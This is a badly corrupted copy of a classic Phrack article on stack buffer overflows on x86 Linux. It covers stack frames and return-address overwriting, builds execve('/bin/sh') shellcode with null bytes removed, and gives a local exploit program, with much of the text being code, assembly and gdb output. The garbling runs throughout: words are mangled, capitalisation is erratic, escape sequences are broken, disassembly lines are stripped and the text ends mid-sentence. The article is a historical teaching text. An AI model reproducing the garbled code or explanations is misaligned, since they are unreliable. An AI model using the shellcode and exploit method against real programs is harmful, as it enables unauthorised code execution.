Smashing The Stack for Fun and Profit
.oo phrack 49 oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
Bugtraq, R00T, And Underground.org
Bring you
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Smashing The Stack for Fun and Profit
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By Aleph One
Aleph1@underground.org
`smash the stack` [c protemming] n. on Many C Implementations
IT is Possible to Corrupt The Execution Stack by Writing Past
The end of an array declared auto in a routine. Code That Does
This is said to smash the stack, and can cause return.com
Routine to jump to a random address. this can produce some of
The Most Insidious Data-Dependent Bugs Known To Mankind.
Variants include trash the stack, Scribble the stack, mangle
The Stack; The Term Mung The Stack Is Not Used, AS this IS
Never Done intendionally. See Also Alias Bug,
Fandango on Core, Memory Leak, Precedence Lossage, Overrun Screw.
Introduction
~~~~~~~~~~~~
Over the last few months there is hams been a large increase of buffer
Overflow Vulnerabilities Being Both Discovered and ExploIn. Examples
Of these area syslog, splitvt, sendmail 8.7.5, linux / freebsd mount, xt
Library, AT, etc. this paper attempts to explain what bufferflows
Are, And how their costs work.
Basic knowledge of assembly is required. An understanding of virtual
Memory Concepts, And Experience with GDB Are Very Helpful But Not Necessary.
WE Also Assume We area Working with an all x86 CPU, and That the turnrating
System is linux.
Some Basic Definitions Before We Begin: a Buffer IS SIMPLY A ContiGuous
Block of Computer Memory That Holds Multiple Instances of The Same Data
Type. C Programmers Normally Associate with the Word Buffer Arrays. Mostcommonly, Character Arrays. Arrays, Like All Variables in C, Can Be
Dynamic. Static Variables Are Allocated At Load
Time on the data segment. Dynamic Variables Are Allocated At Run Time ON
THE Stack. To overflow is to flow, or fill over the top, brims, or bounds.
WE WILL Concern Ourslves Only with the overflow of Dynamic Buffers, Otherwise
KNown as stack-based bufferflows.
Process Memory Organization
~~~~~~~~~~~~~~~~~~~~~~~~~~~
To Understand What Stack Buffers Are We Must First Undhow A
Process is Organized in Memory. Processes Are Divided Into Three Regions:
Text, Data, And Stack. We will Concentrate On The Stack Region, But First
A Small Overview of The Other region is in order.
The Text Region is Fixed by the program and incrudes code (instructions)
And Read-Only Data. This Region Corresponds to the Text Section of The THE
Executable File. this region is normally marked read-only and any attempt to
Write to it will result in a segmentation viological.
The Data Region Contains Initialized and Uninitialized Data. Static
Variables Are Stored in This Region. The Data Region Corresponds to the
Data-bss Sections of the Executable File. Its size can be change with the
BRK (2) System Call. if The Expansion of the Bss Data or the User Stack
Exhausts Available Memory, The Process Is Blocked and Is Res Resp - to
Run Again with a larger memory space. New memory is added Between the data
And stack segments.
/ ------------------ / Lower
| | | Memory
| TEXT | Addresses
| | |
| ------------------
| (Initialized) |
| Data |
| (Uninitialized) || --------------------
| | |
| Stack | higher
| | | Memory
/ ------------------ / Addresses
Fig. 1 Process Memory Regions
What is a stack?
~~~~~~~~~~~~~~~~
A stack is an abstract data type frequently used in computer science. A
Stack of Objects Has The Property That The Last Object Placed on The Stack
Will Be The First Object Removed. This property is comMMONLY Referred To As
Last In, First Out Queue, OR A LIFO.
Several Operations Are Defined On Stacks. Two of the Most Important Are
Push and pop. Push adds an element at the top of the stack. Pop, in
Contrast, Reduces the Stack Size by removing the last element at the
Top of the stack.
Why do we use a stack?
~~~~~~~~~~~~~~~~~~~~~~
Modern Computers Are Designed with the ued of high-level languages in
Mind. The Most Important Technique for structuring programs introduces
High-level languages is the procedure or function. from One Point of View, A
Procedure Call Alters The Flow of Control Just As a Jump Does, But Unlike A
Jump, When Finished Performing ITS Task, a Function Returns Control to the
Statement Or Instruction Following The Call. This High-Level Abstract
Is Implement with The Help of The Stack.
The Stack Is Also Used to Dynamical Allocate The Local Variables Used in
Functions, To Pass Parameters to the functions, and to returnes from the
Function.
THE Stack Region
~~~~~~~~~~~~~~~~
A Stack Is a Contiuous Block of Memory Containing Data. A Register Called
The Stack Pointer (SP) Points to the Top of the Stack. The Bottom of To
Stack is at a fixed address. its size is dynamically adjusted by the Kernel
AT Run Time. The CPU IMPLEments INSTRUCTIONS TO PUSH ONTO AND POP OFF OFF OFF.
The Stack Consists of Logical Stack Frames That Are PuShed WHEN CALLING A
Function and Popped When Returning. a Stack Frame Contains The Parameters To
A Function, ITS Local Variables, And The Data Necessary to Recover To
Previous Stack Frame, Including The Value of The Instruction Pointer At The
Time of the function call.
Depending On The Implementation THE Stack Will Either Grow Down (Towards
Lower Memory Addresses, OR Up. IN Our Examples We'll Use a Stack That GROWS
Down. this is the war the stack grows ON MANY COMPUTERS INCLUDING THE Intel,
Motorola, Sparc and MIPS Processors. The Stack Pointer (SP) IS Also
Implementation dependent. it may point to the last address on the stack, or
To the next free available address after the stack. for our discussion we'll
Assume IT Points to the Last Address on the stack.
In Addition to the Stack Pointer, Which Points To The Top of the Stack
(Lowest Numerical Address), IT IS OFTEN Convenient to Have A Frame Pointer
(Fp) Which Points to a fixed location forin a frame. Some Texts Also Refer
To it as a local base Pointer (lb). in Princi, Local Variables Could Be
Reference by Giving Their Offsets from sp. however, as Words Are Pushed ONTO
The Stack and Popped from The Stack, Thase Offsets Change. Although in Some
Cases The Compiler Can Keep Track of The Number of Words on The Stack and THE
Thus Correct The Offsets, in Some Cases It Cannot, And in All Cases
Considerable Administration is Required. Futhermore, on Some Machines, Such
AS Intel-Based Processors, Accessing A Variable At A Known Distance from SP
Requires Multiple Instructions.
Consequently, Many Compilers Use A Second Register, FP, for ReferenceBoth Local Variables and Parameters Because their distances from fp do
Not Change with Pushes and Pops. On Intel CPUS, BP (EBP) IS Used for this
Purpose. on The Motorola CPUS, Any Address Register Except A7 (THE STACK
Pointer Will Do. Because The Way Our Stack Grows, Actual Parameters Have
Positive Offsets and Local Variables Have Negative Offsets from FP.
THE FIRST Thing a Procedure Must Do When Called Is Save The Previous FP
(SO IT CAN Be Restored At Procedure Exit). Then IT Copies SP Into FP To
Create The New FP, And Advances SP To Reserve Space for the local variables.
This Code Is Called The Procedure ProLog. Upon Procedure Exit, The Stack
Must Be Cleated Up Again, Something Called The Procedure Epilog. The Intel
ENTER AND Leave Instructions and the motorola link and unlink instructions,
Have Been Provided to Do Most of The Procedure ProLog and Epilog Work
Efficiently.
Let us See What THE STACK LOOKS LOKE IN A Simple EXAMPLE:
EXAMPLE1.C:
-------------------------------------------------- ----------------------------
Void Function (int A, int b, int c) {
Char buffer1 [5];
Char buffer2 [10];
}
Void main () {
Function (1, 2, 3);
}
-------------------------------------------------- ----------------------------
To understand what the program does to call function () We Compile IT with
GCC Using The -s Switch To Generate Assembly Code Output:
$ GCC -S -O EXAMPLE1.S EXAMPLE1.C
By looking at the assembly language output we see That the call to
Function () is translated to:
Pushl $ 3
Pushl $ 2
Pushl $ 1
Call function
This Pushes the 3 arguments to function backwards inTo the stack, and
Calls function (). The instruction 'call' Will Push The Instruction Pointer (IP) ONTO The Stack. We'll Call The Saved IP The Return Address (RET). THE
First Thing Done in Function is The Procedure ProLog:
Pushl% EBP
MOVL% ESP,% EBP
SUBL $ 20,% ESP
This Pushes EBP, The Frame Pointer, ONTO The Stack. It THEN COPIES THE
Current SP ONTO EBP, MAKING IT The New FP Pointer. We'll Call The Saved FP
Pointer sfp. It then allocates space for the local variables by subtracting
Their size from sp.
We Must Remember That Multiple Can Only Be Addressed In Multiples of To
Word size. A Word IN OUR Case IS 4 BYTES, OR 32 BITS. SO OUR 5 BYTE BUFFER
Is really going to take 8 bytes (2 words) of memory, and ur 10 byte buffer
Is going to take 12 bytes (3 Words) of memory. That is why sp is being
Subtracted by 20. With That in Mind Our Stack Looks Like thisime
Function () is Called (Each Space Represents a Byte):
Bottom of top of top
Memory Memory
Buffer2 Buffer1 SFP RET A B C
<------ [] [] [] [] [] [] []
Top of bottom of
Stack Stack
Buffer overflows
~~~~~~~~~~~~~~~~
A Buffer Overflow Is The Result of Stuffing More Data Into A Buffer Than
IT can Handle. How Can This Offen Found Programming Error Can Be Taken
Advantage to EXECUTE ARBITRARY CODE? Lets Look At Another Example:
EXAMPLE2.C
-------------------------------------------------- ----------------------------
Void function (char * str) {
Char buffer [16]; struffpy (buffer, str);
}
Void main () {
CHAR LARGE_STRING [256];
INT I;
For (i = 0; i <255; i )
Large_string [i] = 'a';
Function (large_string);
}
-------------------------------------------------- ----------------------------
This Is Program Has A Function with a Typical Buffer overflow Coding
Error. The Function Copies a Supplied String without Bounds Checking By
Using stracpy () instead of strncpy (). if you run this program you will get a
Segmentation Violation. Lets See What ITS Stack Looks WHEN We Call Function:
Bottom of top of top
Memory Memory
Buffer SFP RET * STR
<------ [] [] [] []
Top of bottom of
Stack Stack
What is going on here? Why do we get a segmentation viological? Simple.
Strcpy () is coping the contents of * str (larger_string []) INTO BUFFER []
Until a null character is found on the string. as we can see buffer [] IS
Much Smaller Than * Str. Buffer [] IS 16 BYTES Long, And We Are Trying to Stuff
IT with 256 bytes. This Means That All 250 Bytes After Buffer In The Stack of THETES AFER
Are Being Overwritten. this incrudes the sfp, return, and evening * str! we Had
Filled Large_String with the Character 'a'. It's HEX Character Value
IS 0x41. That Means That The Return Address is now 0x41414141. this is
Outside of the process address space. That is why when function returns
AND Tries to read the next instruction from what address you get a
Segmentation Viological.so A Buffer overflow Allows US to Change The Return Address of a function.
In this way we can change the flow of execution of the program. Lets Go Back
To Our First Example And Recall What The Stack Looked Like:
Bottom of top of top
Memory Memory
Buffer2 Buffer1 SFP RET A B C
<------ [] [] [] [] [] [] []
Top of bottom of
Stack Stack
Lets try to modify our first example so thing it overwrites the return
Address, And Demonstrate How We CAN Make It Execute Arbitrary Code. JUST
Before Buffer1 [] on The Stack IS SFP, And Before It, The Return Address.
That IS 4 bytes pass the end of buffer1 []. But repeember what buffer1 [] IS
Really 2 Word So ITS 8 Bytes Long. so The return address is 12 bytes from the RETUR
The start of buffer1 []. We'll Modify The Return Value in Such A Way That That
Assignment Statement 'x = 1;' after the function call will be jumped. To do
SO We add 8 bytes to the return address. Our Code is now:
EXAMPLE3.C:
-------------------------------------------------- ----------------------------
Void Function (int A, int b, int c) {
Char buffer1 [5];
Char buffer2 [10];
INT * RET;
Ret = buffer1 12;
(* RET) = 8;
}
Void main () {
INT X;
X = 0;
Function (1, 2, 3);
X = 1;
Printf ("% d / n", x);
}
-------------------------------------------------- ----------------------------
What We Have Done Is Add 12 To Buffer1 [] 's Address. This New Address Iswhere The Return Address Is Stored. We want to skip pass the assocignment to
The Printf Call. How Did WE KNOW TO Add 8 To The Return Address? WE Used A
Test Value First (for Example 1), Compiled The Program, And the Started GDB:
-------------------------------------------------- ----------------------------
[ALEPH1] $ GDB EXAMPLE3
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(No Debugging Symbols Found) ...
(GDB) Disassemble Main
Dump of assembler code for function main:
0x8000490
0x8000491
0x8000493
0x8000496
0x800049D
0x800049f
0x80004A1
0x80004A3
0x80004A8
0x80004AB
0x80004B2
0x80004B5
0x80004B6
0x80004BB
0x80004c0
0x80004C3
0x80004c5
0x80004C6
-------------------------------------------------- ----------------------------
We can see what athen caling function () The return be 0x8004a8, and w
Want to Jump Past The Assignment at 0x80004ab. The next instruction we want
To execute is the at 0x8004b2. a little math tells us the distance is 8
BYTES.
Shell Code
~~~~~~~~~~
So Now That We know That We can modify the return address and the flow of
Execution, What Program Do Want To Execute? In Most Cases We'll SIMPLY
Want the program to spawn a shell. from the shell we can life osther
Commands as we wish. but what if there is no claim code in the program weather. IS No SUCH CODE IN THE
Are Trying to expebit? how can we place Arbitrary Instruction ITO ITS
Address Space? The answer is to place the code with are trying to execute in
The Buffer WE Are Overflowing, And Overwrite The Return Address SO IT Points
Back Into The Buffer. Assuming The Stack Starts At Address 0xFF, and That S
Stands for the code we want to execute the stack woulding the look like this:
Bottom of DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFFFFFF TOP OF
Memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF MEMORY
Buffer SFP RET A B C
<------ [sssssssssssssssssssss] [SSSS] [0xD8] [0x01] [0x02] [0x03]
^ | |
| ____________________________ |
Top of bottom of
Stack Stack
The code to spawn a shell in c looks like:
shellcode.c
-------------------------------------------------- ---------------------------
#include
Void main () {char * name [2];
Name [0] = "/ bin / sh";
Name [1] = NULL;
Execve (Name [0], Name, NULL);
}
-------------------------------------------------- ----------------------------
To Find Out What Does It Looks Like In Assembly We Compile It, And Start
Up gdb. Remember to use the the -static flag. Otherwise the Actual Code To
For The Execve System Call Will NOT BE INCLUDED. INSTEERE WILL BE A
Reference to Dynamic C Library That Would Normally Would Be Linked In AT
Load Time.
-------------------------------------------------- ----------------------------
[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c
[ALEPH1] $ GDB shellcode
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(GDB) Disassemble Main
Dump of assembler code for function main:
0x8000130
0x8000131
0x8000133
0x8000136
0x800013D
0x8000144
0x8000146
0x8000149
0x800014a
0x800014D
0x800014e
0x8000153
0x8000156
0x8000159
End of assembler dump.
(GDB) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX
0x80002C8 <__ execve 12>: MOVL 0xc (% EBP),% ECX
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX
0x80002CE <__ execve 18>: int $ 0x80
0x80002d0 <__ execve 20>: MOVL% EAX,% EDX
0x80002d2 <__ execve 22>: Testl% EDX,% EDX
0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>
0x80002d6 <__ execve 26>: NEGL% EDX
0x80002d8 <__ execve 28>: Pushl% EDX
0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location>
0x80002de <__ execve 34>: POPL% EDX
0x80002df <__ execve 35>: MOVL% EDX, (% EAX)
0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX
0x80002e6 <__ execve 42>: POPL% EBX
0x80002e7 <__ execve 43>: MOVL% EBP,% ESP
0x80002e9 <__ execve 45>: POPL% EBP
0x80002ea <__ execve 46>: RET
0x80002eb <__ execve 47>: NOP
End of assembler dump.
-------------------------------------------------- ----------------------------
Lets try to understand what is going on here. We'll Start by Studying Main:
-------------------------------------------------- ---------------------------- 0x8000130
0x8000131
0x8000133
This is the procedure prelude. It first saves the old frame pointer,
Makes The Current Stack Pointer The New Frame Pointer, And Leaves
Space for the Local Variables. in this case.
Char * name [2];
OR 2 Pointers to a char. Pointers Are A Word Long, So It Leaves
Space for Two Words (8 Bytes).
0x8000136
We copy the value 0x80027b8 (The Address of the string "/ bin / sh")
INTO The First Pointer of Name []. This is equivalent to:
Name [0] = "/ bin / sh";
0x800013D
We copy the value 0x0 (null) INTO The Seconds Pointer of Name [].
This is equivalent to:
Name [1] = NULL;
The Actual Call To Execve () Starts Here.
0x8000144
We push the arguments to execve () in Reverse Order ONTO The Stack.
We Start with Null.
0x8000146
Weide the address of name [] INTO the EAX Register.
0x8000149
We push the address of name [] ONTO the stack.
0x800014a
Weide the address of the string "/ bin / sh" INTO The Eax Register.
0x800014D
We push the address of the string "/ bin / sh" ONTO The Stack.
0x800014e
Call the library procedure execve (). The call instruction pushes the
Ip ONTO The Stack.
-------------------------------------------------- ---------------------------- Now execve (). Keep in Mind We Are Using a Intel based Linux System. Thae
Syscall Details Will Change from Os To Os, And from CPU To CPU. Some Will
Pass the arguments on the stack, Others on The Registers. Some Use a Software
Interrupt to Jump To Kernel Mode, Others Use A Far Call. Linux Passs ITS
Arguments to the System Call on the registers, and uses a software interrupt
TO JUMP INTO KERNEL MODE.
-------------------------------------------------- ----------------------------
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
The procedure prelude.
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
Copy 0XB (11 Decimal) Onto the stack. This is the index Into the
Syscall Table. 11 IS Execve.
0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX
Copy The Address of "/ bin / sh" INTO EBX.
0x80002C8 <__ execve 12>: MOVL 0xc (% EBP),% ECX
Copy The Address of Name [] INTO ECX.
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX
Copy The Address of The Null Pointer INTO% EDX.
0x80002CE <__ execve 18>: int $ 0x80
Change Into Kernel Mode.
-------------------------------------------------- ----------------------------
So as we can see there is not much to the execve () System call. All we need
To do IS:
a) Have the null terminated string "/ bin / sh" Somewhere in Memory.
b) Have the address of the string "/ bin / sh" Somewhere in Memory
Followed by a null long word.
c) Copy 0XB INTO The EAX Register.
d) Copy the address of the address of the string "/ bin / sh" INTO THE
Ebx register.
e) Copy the address of the string "/ bin / sh" INTO The ECX Register.
f) Copy The Address of The Null Long Word Into The Edx Register.
g) Execute the int $ 0x80 instruction.
But what if the execve () CALL FAILS for Some REASON? The Program Will
Continue Fetching Instructions from The Stack, Which May Contain Random Data!
The Program Will Most Likely Core Dump. We want the program to exit cleanly
If The Execve Syscall Fails. To AccompLish this Weme Ten Add A Exit
Syscall after the execve syscall. What does the exit syscall locks like?
Exit.c
-------------------------------------------------- ----------------------------
#include
Void main () {
exit (0);
}
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ gcc -o exit -static exit.c
[ALEPH1] $ GDB EXIT
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(No Debugging Symbols Found) ...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034C <_exit>: Pushl% EBP
0x800034D <_exit 1>: MOVL% ESP,% EBP
0x800034F <_exit 3>: pushl% EBX
0x8000350 <_exit 4>: MOVL $ 0x1,% EAX
0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX
0x8000358 <_exit 12>: INT $ 0X80
0x800035A <_exit 14>: MOVL 0xFffffFFFC (% EBP),% EBX
0x800035D <_exit 17>: MOVL% EBP,% ESP0X800035F <_exit 19>: POPL% EBP
0x8000360 <_exit 20>: RET
0x8000361 <_exit 21>: NOP
0x8000362 <_exit 22>: NOP
0x8000363 <_exit 23>: NOP
End of assembler dump.
-------------------------------------------------- ----------------------------
The EXIT SYSCALL WILL PLACE 0x1 in Eax, Place The EXIT CODE IN EBX,
And Execute "int 0x80". That's it. MOST Applications Return 0 on exit to
INDICATE NO Errors. We will place 0 in Ebx. Our list of steps is now:
a) Have the null terminated string "/ bin / sh" Somewhere in Memory.
b) Have the address of the string "/ bin / sh" Somewhere in Memory
Followed by a null long word.
c) Copy 0XB INTO The EAX Register.
d) Copy the address of the address of the string "/ bin / sh" INTO THE
Ebx register.
e) Copy the address of the string "/ bin / sh" INTO The ECX Register.
f) Copy The Address of The Null Long Word Into The Edx Register.
g) Execute the int $ 0x80 instruction.
H) Copy 0x1 INTO The Eax Register.
I) Copy 0x0 INTO The EBX Register.
j) Execute The INT $ 0x80 Instruction.
Trying to put this together in assembly language, Placing the string, PLACING THE STRING
After the code, and remembering we willable the address of the string,
And Null Word After the Array, We Have:
-------------------------------------------------- ----------------------------
MOVL STRING_ADDR, STRING_ADDR_ADDR
MOVB $ 0x0, NULL_BYTE_ADDR
Movl $ 0x0, NULL_ADDR
MOVL $ 0XB,% EAX
MOVL STRING_ADDR,% EBX
LEAL STRING_ADDR,% ECX
LEAL NULL_STRING,% EDX
INT $ 0x80
MOVL $ 0x1,% EAX
MOVL $ 0x0,% EBX
INT $ 0x80
/ BIN / SH STRING GoES here.
-------------------------------------------------- ---------------------------- The Problem is this we don't know where in the memory space of the
Program we are trying to expedition the code (and the string That Follows
IT) Will Be Placed. One Way Around It Is To Use A JMP, And A Call
INSTRUCTION. The JMP and CALL INSTRUCTIONS CAN USE IP Relative Addressing,
Which means we can jump to an offset from the current ip without needing
TO KNOW THE EXACT ADDRESS OF WHERE IN MEMORY WAWANT to JUMP TO. IF WE
Place a call instruction Right Before the "/ bin / sh" string, and a jmp
INSTRUCTION TO IT, The Strings Address Will Be Pushed ONTO THE Stack As
The Return Address When Call Is Executed. All We need the to copy the
Return Address Into a register. The Call Instruction CAN Simply Call THE
START OF Our Code Above. Assuming Now That J Stands for the JMP Instruction,
C for the call instruction, and s for the string, The Execution Flow Would
Now BE:
Bottom of DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFFFFFF TOP OF
Memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF MEMORY
Buffer SFP RET A B C
<------ [jjssssssssssssccccss] [SSSS] [0xD8] [0x01] [0x02] [0x03]
^ | ^ ^ | |
||| _____________ || ____________ | (1)
(2) || _____________ ||
| ______________ | (3)
Top of bottom of
Stack Stack
With this modifications, using indexed addressing, and Writing Down How
MANY BYTES EACH INSTRUCTION TAKES OUR CODE LOOKS LIKE:
-------------------------------------------------- ----------------------------
JMP offset-to-call # 2 bytespopl% ESI # 1 byte
MOVL% ESI, Array-Offset (% ESI) # 3 bytes
Movb $ 0x0, NullByteoffset (% ESI) # 4 bytes
Movl $ 0x0, Null-Offset (% ESI) # 7 Bytes
MOVL $ 0XB,% EAX # 5 bytes
MOVL% ESI,% EBX # 2 bytes
Leal array-offset, (% esi),% ECX # 3 bytes
Leal Null-Offset (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
Movl $ 0x1,% EAX # 5 bytes
MOVL $ 0x0,% EBX # 5 bytes
INT $ 0x80 # 2 bytes
Call offset-to-popl # 5 bytes
/ BIN / SH STRING GoES here.
-------------------------------------------------- ----------------------------
Calculating the offsets from jmp omp to call, from call to popl, from
THE STRING Address to the array, and from the string address to the null
Long Word, Westow Have:
-------------------------------------------------- ----------------------------
JMP 0x26 # 2 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
MOVB $ 0x0,0x7 (% esi) # 4 bytes
MOVL $ 0x0,0xc (% esi) # 7 bytes
MOVL $ 0XB,% EAX # 5 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
Movl $ 0x1,% EAX # 5 bytes
MOVL $ 0x0,% EBX # 5 bytes
INT $ 0x80 # 2 bytes
Call -0x2b # 5 bytes
.string / "/ bin / sh /" # 8 bytes
-------------------------------------------------- ----------------------------
Looks Good. To make Sure It Works Correctly We Must Compile IT and Run IT.
But there is a problem. Our code modifies itself, But Most Operating System
Mark Code Pages Read-Only. To Get Than Wear To EXECUTE IN The Stack OR Data Segment, And Transfer Control
To it. to do so we will place our code in a global array in the data
Segment. We need first a hex representation of the binary code. lets
Compile it first, and then use gdb to obtain it.
Shellcodeasm.c
-------------------------------------------------- ----------------------------
Void main () {
__ASM __ ("
JMP 0x2a # 3 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
MOVB $ 0x0,0x7 (% esi) # 4 bytes
MOVL $ 0x0,0xc (% esi) # 7 bytes
MOVL $ 0XB,% EAX # 5 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
Movl $ 0x1,% EAX # 5 bytes
MOVL $ 0x0,% EBX # 5 bytes
INT $ 0x80 # 2 bytes
Call -0x2f # 5 bytes
.string / "/ bin / sh /" # 8 bytes
");
}
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[ALEPH1] $ GDB Shellcodeasm
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(GDB) Disassemble Main
Dump of assembler code for function main: 0x8000130
0x8000131
0x8000133
0x8000135
0x8000136
0x8000139
0x800013D
0x8000144
0x8000149
0x800014B
0x800014e
0x8000151
0x8000153
0x8000158
0x800015D
0x800015F
0x8000164
0x8000165
0x8000168
0x8000169
0x800016B
End of assembler dump.
(GDB) x / bx main 3
0x8000133
(GDB)
0x8000134
(GDB)
.
.
.
-------------------------------------------------- ----------------------------
Testsc.c
-------------------------------------------------- ----------------------------
Char shellcode [] =
"/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00"
"/ X00 / XB8 / X0B / X00 / X00 / X00 / X4E / X08 / X8D / X56 / X0C / XCD / X80"
"/ XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF" "/ XFF / X2F / X62 / X69 / X6E / X2F / X73 / X68 / X00 / X89 / XEC / X5D / XC3 ";
Void main () {
INT * RET;
RET = (int *) & ret 2;
(* RET) = (int) shellcode;
}
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ GCC -O Testsc Testsc.c
[aleph1] $ ./testsc
$ EXIT
[aleph1] $
-------------------------------------------------- ----------------------------
IT Works! But there is an obstacle. In Most Cases We'll Be Trying To
Overflow a character buffer. as such any null bytes in Our shellcode will be
Considered The end of the string, and the copy will be terminated. Therem
Be no null bytes in the shellcode for the expel to work. let's try
Eliminate the bytes (and at the same time make it it limited.).
Problem Instruction: Substitution with:
-------------------------------------------------- --------
MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX
Molv $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)
MOVL% EAX, 0xC (% ESI)
-------------------------------------------------- --------
MOVL $ 0XB,% EAX MOVB $ 0XB,% Al
-------------------------------------------------- --------
MOVL $ 0x1,% EAX XORL% EBX,% EBX
MOVL $ 0x0,% EBX MOVL% EBX,% EAX
INC% EAX
-------------------------------------------------- --------
Our IMPROVED CODE:
Shellcodeasm2.c
-------------------------------------------------- ----------------------------
Void main () {
__ASM __ ("
JMP 0x1f # 2 bytes
POPL% ESI # 1 bytemovl% ESI, 0x8 (% esi) # 3 bytes
XORL% EAX,% EAX # 2 bytes
MOVB% EAX, 0x7 (% ESI) # 3 bytes
MOVL% EAX, 0xc (% esi) # 3 bytes
MovB $ 0XB,% Al # 2 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
XORL% EBX,% EBX # 2 Bytes
MOVL% EBX,% EAX # 2 bytes
INC% EAX # 1 bytes
INT $ 0x80 # 2 bytes
Call -0x24 # 5 bytes
.string / "/ bin / sh /" # 8 bytes
# 46 bytes Total
");
}
-------------------------------------------------- ----------------------------
And Our New Test Program:
Testsc2.c
-------------------------------------------------- ----------------------------
Char shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
Void main () {
INT * RET;
RET = (int *) & ret 2;
(* RET) = (int) shellcode;
}
-------------------------------------------------- ----------------------------
-------------------------------------------------- ----------------------------
[ALEPH1] $ GCC -O Testsc2 Testsc2.c
[aleph1] $ ./testsc2
$ EXIT
[aleph1] $
-------------------------------------------------- ----------------------------
Writing an expedition
~~~~~~~~~~~~~~~~~~
(or how to mong the stack)
~~~~~~~~~~~~~~~~~~~~~~~~~~
Lets try to pull all our pieces together. We have the shellcode. We know
IT Must Be Part of The String Which We'll Use to overflow The Buffer. Weknow We Must Point The Return Address Back Into The Buffer. This Example Will
DemonStrate Thase Points:
OVERFLOW1.C
-------------------------------------------------- ----------------------------
Char shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
Char large_string [128];
Void main () {
Char buffer [96];
INT I;
Long * long_ptr = (long *) Large_String;
For (i = 0; i <32; i )
* (long_ptr i) = (int) BUFFER;
For (i = 0; i Large_string [i] = shellcode [i]; STRCPY (Buffer, Large_String); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [ALEPH1] $ gcc -o exploit1 exploit1.c [aleph1] $ ./exploit1 $ EXIT Exit [aleph1] $ -------------------------------------------------- ---------------------------- What We Have Done Above Is Filled The Array Large_String [] with the Address of buffer [], Which is where ou cut will be. The WE COPY OUR Shellcode Into The Beginning Of The Large_String String. Strcpy () Will Then Copy Large_String Onto Buffer without doing any borsnds checking, and will Overflow the return address, Overwriting It with the address where ouout. IT WITH THE ITW Is Now Located. Once We Reach The end of main and it tried to return it Jumps to ou Code, And Execs a shell. THE PROBLEM WE Are Faced WHEN Trying to overflow the buffer of another PROGRAM ISTING TO Figure OUT AT What Address The Buffer Will Be. The answer is this for Every Program THE STACK WILL Start at The Same Address. Most Programs Do Not Push More Than Few Hundred OR a few thousand bytes Into The Stack at Any One 